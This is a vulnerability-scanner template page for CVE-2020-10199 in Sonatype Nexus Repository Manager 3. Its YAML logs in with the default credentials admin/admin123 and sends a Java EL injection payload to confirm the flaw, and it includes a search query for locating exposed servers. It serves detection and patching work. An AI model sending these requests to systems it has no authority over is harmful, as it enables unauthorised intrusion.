CVE-2020-10199: Sonatype Nexus Repository Manager 3 - Remote Code Execution
- Template: CVE-2020-10199
- Name: Sonatype Nexus Repository Manager 3 - Remote Code Execution
- Description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection
- Impact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
- Remediation: Apply the latest security patches or upgrade to a non-vulnerable version of Sonatype Nexus Repository Manager 3.
- Severity: high
- Authors: rootxharsh, iamnoooob, pdresearch
- Tags: cve2020, cve, packetstorm, sonatype, nexus, rce, kev, vkev, vuln
- References: https://twitter.com/iamnoooob/status/1246182773427240967, https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype, https://nvd.nist.gov/vuln/detail/CVE-2020-10199, http://packetstormsecurity.com/files/157261/Nexus-Repository-Manager-3.21.1-01-Remote-Code-Execution.html, https://cwe.mitre.org/data/definitions/917.html
- Cves: CVE-2020-10199
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2020/CVE-2020-10199.yaml
- Digest: 4a0a0047304502204b7165552a8313d2258c5e1b559fc99bc747035c354f2d3a4667c14d99bf0e6d022100ca4eef4285bdefb96e65ff414521796192135b8b38f21cb4d939e625947e1fe8
- Created at: 2023-04-20T19:29:13Z
- Updated at: 2026-11-13T02:04:08Z
- Age in days: 1314
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-10199.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-917
- Cvss score: 8.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.99064
- Epss percentile: 0.99933
- Cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: title="nexus repository manager"
- Max-request: 2
- Product: nexus
- Vendor: sonatype
Products
| Product | Indexed | Url |
|---|---|---|
| sonatype:nexus | yes | /v1/products/sonatype/nexus |
Labels
- Name: Sonatype Nexus Repository - Expression Language Injection
- Impact: Attackers can execute arbitrary Java expressions, potentially leading to remote code execution or system compromise.
- Remediation: Update to version 3.21.2 or later.
- Vulnerability type: template_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2020-10199
- Not known: requirements
```yaml
id: CVE-2020-10199
info:
name: Sonatype Nexus Repository Manager 3 - Remote Code Execution
author: rootxharsh,iamnoooob,pdresearch
severity: high
description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Apply the latest security patches or upgrade to a non-vulnerable version of Sonatype Nexus Repository Manager 3.
reference:
- https://twitter.com/iamnoooob/status/1246182773427240967
- https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
- https://nvd.nist.gov/vuln/detail/CVE-2020-10199
- https://cwe.mitre.org/data/definitions/917.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2020-10199
cwe-id: CWE-917
epss-score: 0.99064
epss-percentile: 0.99933
cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: sonatype
product: nexus
fofa-query: title="nexus repository manager"
tags: cve2020,cve,packetstorm,sonatype,nexus,rce,kev,vkev,vuln
variables:
username: admin
password: admin123
http:
- raw:
- |
POST /service/rapture/session HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username={{base64(username)}}&password={{base64(password)}}
- |
POST /service/rest/beta/repositories/bower/group HTTP/1.1
Host: {{Hostname}}
NX-ANTI-CSRF-TOKEN: 1
Cookie: NX-ANTI-CSRF-TOKEN=1
Content-Type: application/json
{"name": "internal", "online": "true", "storage": {"blobStoreName": "default", "strictContentTypeValidation": "true"}, "group": {"memberNames": ["$\\A{3*3333}"]}}
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Member repository does not exist: A9999"
- type: status
status:
- 400
digest: 4a0a0047304502204b7165552a8313d2258c5e1b559fc99bc747035c354f2d3a4667c14d99bf0e6d022100ca4eef4285bdefb96e65ff414521796192135b8b38f21cb4d939e625947e1fe8:922c64590222798bb761d5b6d8e72950
```